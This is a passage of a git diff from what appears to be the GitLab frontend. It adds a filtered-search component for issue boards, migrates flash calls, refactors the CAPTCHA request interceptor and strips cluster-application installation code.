<div v-if="canAdminBoard">
<gl-dropdown-divider />
diff --git a/app/assets/javascripts/boards/components/boards_selector_deprecated.vue b/app/assets/javascripts/boards/components/boards_selector_deprecated.vue
index 85c7b27336b..c1536dff2c6 100644
--- a/app/assets/javascripts/boards/components/boards_selector_deprecated.vue
+++ b/app/assets/javascripts/boards/components/boards_selector_deprecated.vue
@@ -316,7 +316,7 @@ export default {
:class="scrollFadeClass"
></div>
- <gl-loading-icon v-if="loading" />
+ <gl-loading-icon v-if="loading" size="sm" />
<div v-if="canAdminBoard">
<gl-dropdown-divider />
diff --git a/app/assets/javascripts/boards/components/issue_board_filtered_search.vue b/app/assets/javascripts/boards/components/issue_board_filtered_search.vue
new file mode 100644
index 00000000000..d8dac17d326
--- /dev/null
+++ b/app/assets/javascripts/boards/components/issue_board_filtered_search.vue
@@ -0,0 +1,102 @@
+<script>
+import BoardFilteredSearch from '~/boards/components/board_filtered_search.vue';
+import issueBoardFilters from '~/boards/issue_board_filters';
+import { TYPE_USER } from '~/graphql_shared/constants';
+import { convertToGraphQLId } from '~/graphql_shared/utils';
+import { __ } from '~/locale';
+import AuthorToken from '~/vue_shared/components/filtered_search_bar/tokens/author_token.vue';
+import LabelToken from '~/vue_shared/components/filtered_search_bar/tokens/label_token.vue';
+
+export default {
+ i18n: {
+ search: __('Search'),
+ label: __('Label'),
+ author: __('Author'),
+ assignee: __('Assignee'),
+ is: __('is'),
+ isNot: __('is not'),
+ },
+ components: { BoardFilteredSearch },
+ props: {
+ fullPath: {
+ type: String,
+ required: true,
+ },
+ boardType: {
+ type: String,
+ required: true,
+ },
+ },
+ computed: {
+ tokens() {
+ const { label, is, isNot, author, assignee } = this.$options.i18n;
+ const { fetchAuthors, fetchLabels } = issueBoardFilters(
+ this.$apollo,
+ this.fullPath,
+ this.boardType,
+ );
+
+ return [
+ {
+ icon: 'labels',
+ title: label,
+ type: 'label_name',
+ operators: [
+ { value: '=', description: is },
+ { value: '!=', description: isNot },
+ ],
+ token: LabelToken,
+ unique: false,
+ symbol: '~',
+ fetchLabels,
+ },
+ {
+ icon: 'pencil',
+ title: author,
+ type: 'author_username',
+ operators: [
+ { value: '=', description: is },
+ { value: '!=', description: isNot },
+ ],
+ symbol: '@',
+ token: AuthorToken,
+ unique: true,
+ fetchAuthors,
+ preloadedAuthors: this.preloadedAuthors(),
+ },
+ {
+ icon: 'user',
+ title: assignee,
+ type: 'assignee_username',
+ operators: [
+ { value: '=', description: is },
+ { value: '!=', description: isNot },
+ ],
+ token: AuthorToken,
+ unique: true,
+ fetchAuthors,
+ preloadedAuthors: this.preloadedAuthors(),
+ },
+ ];
+ },
+ },
+ methods: {
+ preloadedAuthors() {
+ return gon?.current_user_id
+ ? [
+ {
+ id: convertToGraphQLId(TYPE_USER, gon.current_user_id),
+ name: gon.current_user_fullname,
+ username: gon.current_username,
+ avatarUrl: gon.current_user_avatar_url,
+ },
+ ]
+ : [];
+ },
+ },
+};
+</script>
+
+<template>
+ <board-filtered-search data-testid="issue-board-filtered-search" :tokens="tokens" />
+</template>
diff --git a/app/assets/javascripts/boards/components/new_list_dropdown.js b/app/assets/javascripts/boards/components/new_list_dropdown.js
index 2fd16f06455..6eb1dbfb46a 100644
--- a/app/assets/javascripts/boards/components/new_list_dropdown.js
+++ b/app/assets/javascripts/boards/components/new_list_dropdown.js
@@ -3,7 +3,7 @@
import $ from 'jquery';
import store from '~/boards/stores';
import initDeprecatedJQueryDropdown from '~/deprecated_jquery_dropdown';
-import { deprecatedCreateFlash as flash } from '~/flash';
+import createFlash from '~/flash';
import { getIdFromGraphQLId } from '~/graphql_shared/utils';
import axios from '~/lib/utils/axios_utils';
import { __ } from '~/locale';
@@ -53,7 +53,9 @@ export default function initNewListDropdown() {
data(term, callback) {
const reqFailed = () => {
$dropdownToggle.data('bs.dropdown').hide();
- flash(__('Error fetching labels.'));
+ createFlash({
+ message: __('Error fetching labels.'),
+ });
};
if (store.getters.shouldUseGraphQL) {
diff --git a/app/assets/javascripts/boards/components/project_select.vue b/app/assets/javascripts/boards/components/project_select.vue
index 77b6af77652..1412411c275 100644
--- a/app/assets/javascripts/boards/components/project_select.vue
+++ b/app/assets/javascripts/boards/components/project_select.vue
@@ -126,7 +126,7 @@ export default {
v-show="groupProjectsFlags.isLoading"
data-testid="dropdown-text-loading-icon"
>
- <gl-loading-icon class="gl-mx-auto" />
+ <gl-loading-icon class="gl-mx-auto" size="sm" />
</gl-dropdown-text>
<gl-dropdown-text
v-if="isFetchResultEmpty && !groupProjectsFlags.isLoading"
diff --git a/app/assets/javascripts/boards/components/project_select_deprecated.vue b/app/assets/javascripts/boards/components/project_select_deprecated.vue
index afe161d9c54..fc95ba0461d 100644
--- a/app/assets/javascripts/boards/components/project_select_deprecated.vue
+++ b/app/assets/javascripts/boards/components/project_select_deprecated.vue
@@ -136,7 +136,7 @@ export default {
{{ project.namespacedName }}
</gl-dropdown-item>
<gl-dropdown-text v-show="isFetching" data-testid="dropdown-text-loading-icon">
- <gl-loading-icon class="gl-mx-auto" />
+ <gl-loading-icon class="gl-mx-auto" size="sm" />
</gl-dropdown-text>
<gl-dropdown-text v-if="isFetchResultEmpty && !isFetching" data-testid="empty-result-message">
<span class="gl-text-gray-500">{{ $options.i18n.emptySearchResult }}</span>
diff --git a/app/assets/javascripts/boards/components/sidebar/board_editable_item.vue b/app/assets/javascripts/boards/components/sidebar/board_editable_item.vue
index 352a25ef6d9..84802650dad 100644
--- a/app/assets/javascripts/boards/components/sidebar/board_editable_item.vue
+++ b/app/assets/javascripts/boards/components/sidebar/board_editable_item.vue
@@ -93,7 +93,7 @@ export default {
<slot name="title">
<span data-testid="title">{{ title }}</span>
</slot>
- <gl-loading-icon v-if="loading" inline class="gl-ml-2" />
+ <gl-loading-icon v-if="loading" size="sm" inline class="gl-ml-2" />
</span>
<gl-button
v-if="canUpdate"
diff --git a/app/assets/javascripts/boards/constants.js b/app/assets/javascripts/boards/constants.js
index 80a8fc99895..21ef70582a4 100644
--- a/app/assets/javascripts/boards/constants.js
+++ b/app/assets/javascripts/boards/constants.js
@@ -45,6 +45,11 @@ export const formType = {
edit: 'edit',
};
+export const toggleFormEventPrefix = {
+ epic: 'toggle-epic-form-',
+ issue: 'toggle-issue-form-',
+};
+
export const inactiveId = 0;
export const ISSUABLE = 'issuable';
diff --git a/app/assets/javascripts/boards/graphql/issue_set_labels.mutation.graphql b/app/assets/javascripts/boards/graphql/issue_set_labels.mutation.graphql
index 3c5f4b3e3bd..70eb1dfbf7e 100644
--- a/app/assets/javascripts/boards/graphql/issue_set_labels.mutation.graphql
+++ b/app/assets/javascripts/boards/graphql/issue_set_labels.mutation.graphql
@@ -1,6 +1,7 @@
mutation issueSetLabels($input: UpdateIssueInput!) {
updateIssue(input: $input) {
issue {
+ id
labels {
nodes {
id
diff --git a/app/assets/javascripts/boards/index.js b/app/assets/javascripts/boards/index.js
index fb347ce852d..de7c8a3bd6b 100644
--- a/app/assets/javascripts/boards/index.js
+++ b/app/assets/javascripts/boards/index.js
@@ -1,4 +1,5 @@
import { IntrospectionFragmentMatcher } from 'apollo-cache-inmemory';
+import PortalVue from 'portal-vue';
import Vue from 'vue';
import VueApollo from 'vue-apollo';
import { mapActions, mapGetters } from 'vuex';
@@ -24,6 +25,7 @@ import '~/boards/filters/due_date_filters';
import { issuableTypes } from '~/boards/constants';
import eventHub from '~/boards/eventhub';
import FilteredSearchBoards from '~/boards/filtered_search_boards';
+import initBoardsFilteredSearch from '~/boards/mount_filtered_search_issue_boards';
import store from '~/boards/stores';
import boardsStore from '~/boards/stores/boards_store';
import toggleFocusMode from '~/boards/toggle_focus';
@@ -41,6 +43,7 @@ import boardConfigToggle from './config_toggle';
import mountMultipleBoardsSwitcher from './mount_multiple_boards_switcher';
Vue.use(VueApollo);
+Vue.use(PortalVue);
const fragmentMatcher = new IntrospectionFragmentMatcher({
introspectionQueryResultData,
@@ -76,6 +79,10 @@ export default () => {
issueBoardsApp.$destroy(true);
}
+ if (gon?.features?.issueBoardsFilteredSearch) {
+ initBoardsFilteredSearch(apolloProvider);
+ }
+
if (!gon?.features?.graphqlBoardLists) {
boardsStore.create();
boardsStore.setTimeTrackingLimitToHours($boardApp.dataset.timeTrackingLimitToHours);
@@ -182,9 +189,14 @@ export default () => {
eventHub.$off('initialBoardLoad', this.initialBoardLoad);
},
mounted() {
- this.filterManager = new FilteredSearchBoards(boardsStore.filter, true, boardsStore.cantEdit);
-
- this.filterManager.setup();
+ if (!gon?.features?.issueBoardsFilteredSearch) {
+ this.filterManager = new FilteredSearchBoards(
+ boardsStore.filter,
+ true,
+ boardsStore.cantEdit,
+ );
+ this.filterManager.setup();
+ }
this.performSearch();
@@ -304,9 +316,11 @@ export default () => {
// eslint-disable-next-line no-new, @gitlab/no-runtime-template-compiler
new Vue({
el: document.getElementById('js-add-list'),
- data: {
- filters: boardsStore.state.filters,
- ...getMilestoneTitle($boardApp),
+ data() {
+ return {
+ filters: boardsStore.state.filters,
+ ...getMilestoneTitle($boardApp),
+ };
},
mounted() {
initNewListDropdown();
diff --git a/app/assets/javascripts/boards/issue_board_filters.js b/app/assets/javascripts/boards/issue_board_filters.js
new file mode 100644
index 00000000000..699d7e12de4
--- /dev/null
+++ b/app/assets/javascripts/boards/issue_board_filters.js
@@ -0,0 +1,47 @@
+import groupBoardMembers from '~/boards/graphql/group_board_members.query.graphql';
+import projectBoardMembers from '~/boards/graphql/project_board_members.query.graphql';
+import { BoardType } from './constants';
+import boardLabels from './graphql/board_labels.query.graphql';
+
+export default function issueBoardFilters(apollo, fullPath, boardType) {
+ const isGroupBoard = boardType === BoardType.group;
+ const isProjectBoard = boardType === BoardType.project;
+ const transformLabels = ({ data }) => {
+ return isGroupBoard ? data.group?.labels.nodes || [] : data.project?.labels.nodes || [];
+ };
+
+ const boardAssigneesQuery = () => {
+ return isGroupBoard ? groupBoardMembers : projectBoardMembers;
+ };
+
+ const fetchAuthors = (authorsSearchTerm) => {
+ return apollo
+ .query({
+ query: boardAssigneesQuery(),
+ variables: {
+ fullPath,
+ search: authorsSearchTerm,
+ },
+ })
+ .then(({ data }) => data.workspace?.assignees.nodes.map(({ user }) => user));
+ };
+
+ const fetchLabels = (labelSearchTerm) => {
+ return apollo
+ .query({
+ query: boardLabels,
+ variables: {
+ fullPath,
+ searchTerm: labelSearchTerm,
+ isGroup: isGroupBoard,
+ isProject: isProjectBoard,
+ },
+ })
+ .then(transformLabels);
+ };
+
+ return {
+ fetchLabels,
+ fetchAuthors,
+ };
+}
diff --git a/app/assets/javascripts/boards/mixins/sortable_default_options.js b/app/assets/javascripts/boards/mixins/sortable_default_options.js
index a95d749d71c..1bb0ee5b7e3 100644
--- a/app/assets/javascripts/boards/mixins/sortable_default_options.js
+++ b/app/assets/javascripts/boards/mixins/sortable_default_options.js
@@ -1,6 +1,6 @@
/* global DocumentTouch */
-import sortableConfig from 'ee_else_ce/sortable/sortable_config';
+import sortableConfig from '~/sortable/sortable_config';
export function sortableStart() {
document.body.classList.add('is-dragging');
diff --git a/app/assets/javascripts/boards/models/list.js b/app/assets/javascripts/boards/models/list.js
index 6c6e2522d92..ab24532d87f 100644
--- a/app/assets/javascripts/boards/models/list.js
+++ b/app/assets/javascripts/boards/models/list.js
@@ -1,5 +1,5 @@
/* eslint-disable class-methods-use-this */
-import { deprecatedCreateFlash as flash } from '~/flash';
+import createFlash from '~/flash';
import { __ } from '~/locale';
import boardsStore from '../stores/boards_store';
import ListAssignee from './assignee';
@@ -127,7 +127,11 @@ class List {
moveBeforeId,
moveAfterId,
})
- .catch(() => flash(__('Something went wrong while moving issues.')));
+ .catch(() =>
+ createFlash({
+ message: __('Something went wrong while moving issues.'),
+ }),
+ );
}
updateIssueLabel(issue, listFrom, moveBeforeId, moveAfterId) {
@@ -145,7 +149,11 @@ class List {
moveBeforeId,
moveAfterId,
})
- .catch(() => flash(__('Something went wrong while moving issues.')));
+ .catch(() =>
+ createFlash({
+ message: __('Something went wrong while moving issues.'),
+ }),
+ );
}
findIssue(id) {
diff --git a/app/assets/javascripts/boards/mount_filtered_search_issue_boards.js b/app/assets/javascripts/boards/mount_filtered_search_issue_boards.js
new file mode 100644
index 00000000000..7732091ef34
--- /dev/null
+++ b/app/assets/javascripts/boards/mount_filtered_search_issue_boards.js
@@ -0,0 +1,31 @@
+import Vue from 'vue';
+import IssueBoardFilteredSearch from '~/boards/components/issue_board_filtered_search.vue';
+import store from '~/boards/stores';
+import { convertObjectPropsToCamelCase } from '~/lib/utils/common_utils';
+import { queryToObject } from '~/lib/utils/url_utility';
+
+export default (apolloProvider) => {
+ const el = document.getElementById('js-issue-board-filtered-search');
+ const rawFilterParams = queryToObject(window.location.search, { gatherArrays: true });
+
+ const initialFilterParams = {
+ ...convertObjectPropsToCamelCase(rawFilterParams, {}),
+ };
+
+ if (!el) {
+ return null;
+ }
+
+ return new Vue({
+ el,
+ provide: {
+ initialFilterParams,
+ },
+ store, // TODO: https://gitlab.com/gitlab-org/gitlab/-/issues/324094
+ apolloProvider,
+ render: (createElement) =>
+ createElement(IssueBoardFilteredSearch, {
+ props: { fullPath: store.state?.fullPath || '', boardType: store.state?.boardType || '' },
+ }),
+ });
+};
diff --git a/app/assets/javascripts/boards/stores/actions.js b/app/assets/javascripts/boards/stores/actions.js
index d4893f9eca7..0f1b72146c9 100644
--- a/app/assets/javascripts/boards/stores/actions.js
+++ b/app/assets/javascripts/boards/stores/actions.js
@@ -18,7 +18,9 @@ import createBoardListMutation from 'ee_else_ce/boards/graphql/board_list_create
import issueMoveListMutation from 'ee_else_ce/boards/graphql/issue_move_list.mutation.graphql';
import { getIdFromGraphQLId } from '~/graphql_shared/utils';
import createGqClient, { fetchPolicies } from '~/lib/graphql';
-import { convertObjectPropsToCamelCase, urlParamsToObject } from '~/lib/utils/common_utils';
+import { convertObjectPropsToCamelCase } from '~/lib/utils/common_utils';
+// eslint-disable-next-line import/no-deprecated
+import { urlParamsToObject } from '~/lib/utils/url_utility';
import { s__ } from '~/locale';
import {
formatBoardLists,
@@ -74,6 +76,7 @@ export default {
performSearch({ dispatch }) {
dispatch(
'setFilters',
+ // eslint-disable-next-line import/no-deprecated
convertObjectPropsToCamelCase(urlParamsToObject(window.location.search)),
);
@@ -170,8 +173,9 @@ export default {
addList: ({ commit, dispatch, getters }, list) => {
commit(types.RECEIVE_ADD_LIST_SUCCESS, updateListPosition(list));
+
dispatch('fetchItemsForList', {
- listId: getters.getListByTitle(ListTypeTitles.backlog).id,
+ listId: getters.getListByTitle(ListTypeTitles.backlog)?.id,
});
},
@@ -237,7 +241,7 @@ export default {
},
updateList: (
- { commit, state: { issuableType } },
+ { commit, state: { issuableType, boardItemsByListId = {} }, dispatch },
{ listId, position, collapsed, backupList },
) => {
gqlClient
@@ -252,6 +256,12 @@ export default {
.then(({ data }) => {
if (data?.updateBoardList?.errors.length) {
commit(types.UPDATE_LIST_FAILURE, backupList);
+ return;
+ }
+
+ // Only fetch when board items havent been fetched on a collapsed list
+ if (!boardItemsByListId[listId]) {
+ dispatch('fetchItemsForList', { listId });
}
})
.catch(() => {
@@ -285,7 +295,7 @@ export default {
commit(types.REMOVE_LIST_FAILURE, listsBackup);
} else {
dispatch('fetchItemsForList', {
- listId: getters.getListByTitle(ListTypeTitles.backlog).id,
+ listId: getters.getListByTitle(ListTypeTitles.backlog)?.id,
});
}
},
@@ -296,6 +306,8 @@ export default {
},
fetchItemsForList: ({ state, commit }, { listId, fetchNext = false }) => {
+ if (!listId) return null;
+
if (!fetchNext) {
commit(types.RESET_ITEMS_FOR_LIST, listId);
}
@@ -469,11 +481,11 @@ export default {
}
},
- setAssignees: ({ commit, getters }, assigneeUsernames) => {
+ setAssignees: ({ commit }, { id, assignees }) => {
commit('UPDATE_BOARD_ITEM_BY_ID', {
- itemId: getters.activeBoardItem.id,
+ itemId: id,
prop: 'assignees',
- value: assigneeUsernames,
+ value: assignees,
});
},
@@ -701,4 +713,7 @@ export default {
unsetError: ({ commit }) => {
commit(types.SET_ERROR, undefined);
},
+
+ // EE action needs CE empty equivalent
+ setActiveItemWeight: () => {},
};
diff --git a/app/assets/javascripts/boards/stores/boards_store.js b/app/assets/javascripts/boards/stores/boards_store.js
index 092f81ad279..49c40c7776a 100644
--- a/app/assets/javascripts/boards/stores/boards_store.js
+++ b/app/assets/javascripts/boards/stores/boards_store.js
@@ -7,13 +7,9 @@ import BoardsStoreEE from 'ee_else_ce/boards/stores/boards_store_ee';
import { getIdFromGraphQLId } from '~/graphql_shared/utils';
import createDefaultClient from '~/lib/graphql';
import axios from '~/lib/utils/axios_utils';
-import {
- urlParamsToObject,
- getUrlParamsArray,
- parseBoolean,
- convertObjectPropsToCamelCase,
-} from '~/lib/utils/common_utils';
-import { mergeUrlParams } from '~/lib/utils/url_utility';
+import { parseBoolean, convertObjectPropsToCamelCase } from '~/lib/utils/common_utils';
+// eslint-disable-next-line import/no-deprecated
+import { mergeUrlParams, urlParamsToObject, getUrlParamsArray } from '~/lib/utils/url_utility';
import { ListType, flashAnimationDuration } from '../constants';
import eventHub from '../eventhub';
import ListAssignee from '../models/assignee';
@@ -601,6 +597,7 @@ const boardsStore = {
getListIssues(list, emptyIssues = true) {
const data = {
+ // eslint-disable-next-line import/no-deprecated
...urlParamsToObject(this.filter.path),
page: list.page,
};
diff --git a/app/assets/javascripts/boards/stores/getters.js b/app/assets/javascripts/boards/stores/getters.js
index b61ecc5ccb6..140c9ef7ac4 100644
--- a/app/assets/javascripts/boards/stores/getters.js
+++ b/app/assets/javascripts/boards/stores/getters.js
@@ -16,7 +16,7 @@ export default {
},
activeBoardItem: (state) => {
- return state.boardItems[state.activeId] || {};
+ return state.boardItems[state.activeId] || { iid: '', id: '', fullId: '' };
},
groupPathForActiveIssue: (_, getters) => {
diff --git a/app/assets/javascripts/boards/stores/mutations.js b/app/assets/javascripts/boards/stores/mutations.js
index 6cd0a62657e..a32a100fa11 100644
--- a/app/assets/javascripts/boards/stores/mutations.js
+++ b/app/assets/javascripts/boards/stores/mutations.js
@@ -35,13 +35,23 @@ export const addItemToList = ({ state, listId, itemId, moveBeforeId, moveAfterId
export default {
[mutationTypes.SET_INITIAL_BOARD_DATA](state, data) {
- const { boardType, disabled, boardId, fullBoardId, fullPath, boardConfig, issuableType } = data;
+ const {
+ allowSubEpics,
+ boardConfig,
+ boardId,
+ boardType,
+ disabled,
+ fullBoardId,
+ fullPath,
+ issuableType,
+ } = data;
+ state.allowSubEpics = allowSubEpics;
+ state.boardConfig = boardConfig;
state.boardId = boardId;
- state.fullBoardId = fullBoardId;
- state.fullPath = fullPath;
state.boardType = boardType;
state.disabled = disabled;
- state.boardConfig = boardConfig;
+ state.fullBoardId = fullBoardId;
+ state.fullPath = fullPath;
state.issuableType = issuableType;
},
diff --git a/app/assets/javascripts/branches/components/delete_branch_button.vue b/app/assets/javascripts/branches/components/delete_branch_button.vue
index 5a5f49e25e7..6a6d4d48c52 100644
--- a/app/assets/javascripts/branches/components/delete_branch_button.vue
+++ b/app/assets/javascripts/branches/components/delete_branch_button.vue
@@ -47,12 +47,6 @@ export default {
},
},
computed: {
- variant() {
- if (this.disabled) {
- return 'default';
- }
- return 'danger';
- },
title() {
if (this.isProtectedBranch && this.disabled) {
return s__('Branches|Only a project maintainer or owner can delete a protected branch');
@@ -83,7 +77,7 @@ export default {
class="js-delete-branch-button"
data-qa-selector="delete_branch_button"
:disabled="disabled"
- :variant="variant"
+ variant="default"
:title="title"
:aria-label="title"
@click="openModal"
diff --git a/app/assets/javascripts/branches/divergence_graph.js b/app/assets/javascripts/branches/divergence_graph.js
index b88c056b00f..31cf9a18077 100644
--- a/app/assets/javascripts/branches/divergence_graph.js
+++ b/app/assets/javascripts/branches/divergence_graph.js
@@ -1,5 +1,5 @@
import Vue from 'vue';
-import createFlash from '../flash';
+import createFlash from '~/flash';
import axios from '../lib/utils/axios_utils';
import { __ } from '../locale';
import DivergenceGraph from './components/divergence_graph.vue';
diff --git a/app/assets/javascripts/captcha/captcha_modal_axios_interceptor.js b/app/assets/javascripts/captcha/captcha_modal_axios_interceptor.js
index c9eac44eb28..fdab188f6be 100644
--- a/app/assets/javascripts/captcha/captcha_modal_axios_interceptor.js
+++ b/app/assets/javascripts/captcha/captcha_modal_axios_interceptor.js
@@ -1,4 +1,33 @@
-const supportedMethods = ['patch', 'post', 'put'];
+const SUPPORTED_METHODS = ['patch', 'post', 'put'];
+
+function needsCaptchaResponse(err) {
+ return (
+ SUPPORTED_METHODS.includes(err?.config?.method) && err?.response?.data?.needs_captcha_response
+ );
+}
+
+const showCaptchaModalAndResubmit = async (axios, data, errConfig) => {
+ // NOTE: We asynchronously import and unbox the module. Since this is included globally, we don't
+ // do a regular import because that would increase the size of the webpack bundle.
+ const { waitForCaptchaToBeSolved } = await import('~/captcha/wait_for_captcha_to_be_solved');
+
+ // show the CAPTCHA modal and wait for it to be solved or closed
+ const captchaResponse = await waitForCaptchaToBeSolved(data.captcha_site_key);
+
+ // resubmit the original request with the captcha_response and spam_log_id in the headers
+ const originalData = JSON.parse(errConfig.data);
+ const originalHeaders = errConfig.headers;
+ return axios({
+ method: errConfig.method,
+ url: errConfig.url,
+ headers: {
+ ...originalHeaders,
+ 'X-GitLab-Captcha-Response': captchaResponse,
+ 'X-GitLab-Spam-Log-Id': data.spam_log_id,
+ },
+ data: originalData,
+ });
+};
export function registerCaptchaModalInterceptor(axios) {
return axios.interceptors.response.use(
@@ -6,29 +35,8 @@ export function registerCaptchaModalInterceptor(axios) {
return response;
},
(err) => {
- if (
- supportedMethods.includes(err?.config?.method) &&
- err?.response?.data?.needs_captcha_response
- ) {
- const { data } = err.response;
- const captchaSiteKey = data.captcha_site_key;
- const spamLogId = data.spam_log_id;
- // eslint-disable-next-line promise/no-promise-in-callback
- return import('~/captcha/wait_for_captcha_to_be_solved')
- .then(({ waitForCaptchaToBeSolved }) => waitForCaptchaToBeSolved(captchaSiteKey))
- .then((captchaResponse) => {
- const errConfig = err.config;
- const originalData = JSON.parse(errConfig.data);
- return axios({
- method: errConfig.method,
- url: errConfig.url,
- data: {
- ...originalData,
- captcha_response: captchaResponse,
- spam_log_id: spamLogId,
- },
- });
- });
+ if (needsCaptchaResponse(err)) {
+ return showCaptchaModalAndResubmit(axios, err.response.data, err.config);
}
return Promise.reject(err);
diff --git a/app/assets/javascripts/ci_lint/components/ci_lint.vue b/app/assets/javascripts/ci_lint/components/ci_lint.vue
index ced07dea7be..bc8a1f05ef5 100644
--- a/app/assets/javascripts/ci_lint/components/ci_lint.vue
+++ b/app/assets/javascripts/ci_lint/components/ci_lint.vue
@@ -2,7 +2,7 @@
import { GlButton, GlFormCheckbox, GlIcon, GlLink, GlAlert } from '@gitlab/ui';
import CiLintResults from '~/pipeline_editor/components/lint/ci_lint_results.vue';
import lintCiMutation from '~/pipeline_editor/graphql/mutations/lint_ci.mutation.graphql';
-import EditorLite from '~/vue_shared/components/editor_lite.vue';
+import SourceEditor from '~/vue_shared/components/source_editor.vue';
export default {
components: {
@@ -12,7 +12,7 @@ export default {
GlLink,
GlAlert,
CiLintResults,
- EditorLite,
+ SourceEditor,
},
props: {
endpoint: {
@@ -93,7 +93,7 @@ export default {
<div class="js-file-title file-title clearfix">
{{ __('Contents of .gitlab-ci.yml') }}
</div>
- <editor-lite v-model="content" file-name="*.yml" />
+ <source-editor v-model="content" file-name="*.yml" />
</div>
</div>
diff --git a/app/assets/javascripts/clusters/clusters_bundle.js b/app/assets/javascripts/clusters/clusters_bundle.js
index 762b37a8216..c2c035963f4 100644
--- a/app/assets/javascripts/clusters/clusters_bundle.js
+++ b/app/assets/javascripts/clusters/clusters_bundle.js
@@ -1,18 +1,14 @@
import { GlToast } from '@gitlab/ui';
import Visibility from 'visibilityjs';
import Vue from 'vue';
+import createFlash from '~/flash';
import AccessorUtilities from '~/lib/utils/accessor';
import initProjectSelectDropdown from '~/project_select';
-import initServerlessSurveyBanner from '~/serverless/survey_banner';
-import { deprecatedCreateFlash as Flash } from '../flash';
import Poll from '../lib/utils/poll';
-import { s__, sprintf } from '../locale';
+import { s__ } from '../locale';
import PersistentUserCallout from '../persistent_user_callout';
import initSettingsPanels from '../settings_panels';
-import Applications from './components/applications.vue';
import RemoveClusterConfirmation from './components/remove_cluster_confirmation.vue';
-import { APPLICATION_STATUS, CROSSPLANE, KNATIVE } from './constants';
-import eventHub from './event_hub';
import ClustersService from './services/clusters_service';
import ClustersStore from './stores/clusters_store';
@@ -20,46 +16,20 @@ const Environments = () => import('ee_component/clusters/components/environments
Vue.use(GlToast);
-/**
- * Cluster page has 2 separate parts:
- * Toggle button and applications section
- *
- * - Polling status while creating or scheduled
- * - Update status area with the response result
- */
-
export default class Clusters {
constructor() {
const {
statusPath,
- installHelmPath,
- installIngressPath,
- installCertManagerPath,
- installRunnerPath,
- installJupyterPath,
- installKnativePath,
- updateKnativePath,
- installElasticStackPath,
- installCrossplanePath,
- installPrometheusPath,
- managePrometheusPath,
clusterEnvironmentsPath,
hasRbac,
providerType,
- preInstalledKnative,
- clusterType,
clusterStatus,
clusterStatusReason,
helpPath,
- helmHelpPath,
- ingressHelpPath,
- ingressDnsHelpPath,
environmentsHelpPath,
clustersHelpPath,
deployBoardsHelpPath,
- cloudRunHelpPath,
clusterId,
- ciliumHelpPath,
} = document.querySelector('.js-edit-cluster-form').dataset;
this.clusterId = clusterId;
@@ -69,38 +39,19 @@ export default class Clusters {
this.store = new ClustersStore();
this.store.setHelpPaths({
helpPath,
- helmHelpPath,
- ingressHelpPath,
- ingressDnsHelpPath,
environmentsHelpPath,
clustersHelpPath,
deployBoardsHelpPath,
- cloudRunHelpPath,
- ciliumHelpPath,
});
- this.store.setManagePrometheusPath(managePrometheusPath);
this.store.updateStatus(clusterStatus);
this.store.updateStatusReason(clusterStatusReason);
this.store.updateProviderType(providerType);
- this.store.updatePreInstalledKnative(preInstalledKnative);
this.store.updateRbac(hasRbac);
this.service = new ClustersService({
endpoint: statusPath,
- installHelmEndpoint: installHelmPath,
- installIngressEndpoint: installIngressPath,
- installCertManagerEndpoint: installCertManagerPath,
- installCrossplaneEndpoint: installCrossplanePath,
- installRunnerEndpoint: installRunnerPath,
- installPrometheusEndpoint: installPrometheusPath,
- installJupyterEndpoint: installJupyterPath,
- installKnativeEndpoint: installKnativePath,
- updateKnativeEndpoint: updateKnativePath,
- installElasticStackEndpoint: installElasticStackPath,
clusterEnvironmentsEndpoint: clusterEnvironmentsPath,
});
- this.installApplication = this.installApplication.bind(this);
-
this.errorContainer = document.querySelector('.js-cluster-error');
this.successContainer = document.querySelector('.js-cluster-success');
this.creatingContainer = document.querySelector('.js-cluster-creating');
@@ -109,14 +60,12 @@ export default class Clusters {
'.js-cluster-authentication-failure',
);
this.errorReasonContainer = this.errorContainer.querySelector('.js-error-reason');
- this.successApplicationContainer = document.querySelector('.js-cluster-application-notice');
this.tokenField = document.querySelector('.js-cluster-token');
initProjectSelectDropdown();
Clusters.initDismissableCallout();
initSettingsPanels();
- this.initApplications(clusterType);
this.initEnvironments();
if (clusterEnvironmentsPath && this.environments) {
@@ -143,38 +92,6 @@ export default class Clusters {
this.initRemoveClusterActions();
}
- initApplications(type) {
- const { store } = this;
- const el = document.querySelector('#js-cluster-applications');
-
- this.applications = new Vue({
- el,
- data() {
- return {
- state: store.state,
- };
- },
- render(createElement) {
- return createElement(Applications, {
- props: {
- type,
- applications: this.state.applications,
- helpPath: this.state.helpPath,
- helmHelpPath: this.state.helmHelpPath,
- ingressHelpPath: this.state.ingressHelpPath,
- managePrometheusPath: this.state.managePrometheusPath,
- ingressDnsHelpPath: this.state.ingressDnsHelpPath,
- cloudRunHelpPath: this.state.cloudRunHelpPath,
- providerType: this.state.providerType,
- preInstalledKnative: this.state.preInstalledKnative,
- rbac: this.state.rbac,
- ciliumHelpPath: this.state.ciliumHelpPath,
- },
- });
- },
- });
- }
-
initEnvironments() {
const { store } = this;
const el = document.querySelector('#js-cluster-environments');
@@ -242,30 +159,11 @@ export default class Clusters {
}
addListeners() {
- eventHub.$on('installApplication', this.installApplication);
- eventHub.$on('updateApplication', (data) => this.updateApplication(data));
- eventHub.$on('saveKnativeDomain', (data) => this.saveKnativeDomain(data));
- eventHub.$on('setKnativeDomain', (data) => this.setKnativeDomain(data));
- eventHub.$on('uninstallApplication', (data) => this.uninstallApplication(data));
- eventHub.$on('setCrossplaneProviderStack', (data) => this.setCrossplaneProviderStack(data));
// Add event listener to all the banner close buttons
this.addBannerCloseHandler(this.unreachableContainer, 'unreachable');
this.addBannerCloseHandler(this.authenticationFailureContainer, 'authentication_failure');
}
- removeListeners() {
- eventHub.$off('installApplication', this.installApplication);
- eventHub.$off('updateApplication', this.updateApplication);
- // eslint-disable-next-line @gitlab/no-global-event-off
- eventHub.$off('saveKnativeDomain');
- // eslint-disable-next-line @gitlab/no-global-event-off
- eventHub.$off('setKnativeDomain');
- // eslint-disable-next-line @gitlab/no-global-event-off
- eventHub.$off('setCrossplaneProviderStack');
- // eslint-disable-next-line @gitlab/no-global-event-off
- eventHub.$off('uninstallApplication');
- }
-
initPolling(method, successCallback, errorCallback) {
this.poll = new Poll({
resource: this.service,
@@ -298,21 +196,17 @@ export default class Clusters {
}
static handleError() {
- Flash(s__('ClusterIntegration|Something went wrong on our end.'));
+ createFlash({
+ message: s__('ClusterIntegration|Something went wrong on our end.'),
+ });
}
handleClusterStatusSuccess(data) {
const prevStatus = this.store.state.status;
- const prevApplicationMap = { ...this.store.state.applications };
this.store.updateStateFromServer(data.data);
- this.checkForNewInstalls(prevApplicationMap, this.store.state.applications);
this.updateContainer(prevStatus, this.store.state.status, this.store.state.statusReason);
-
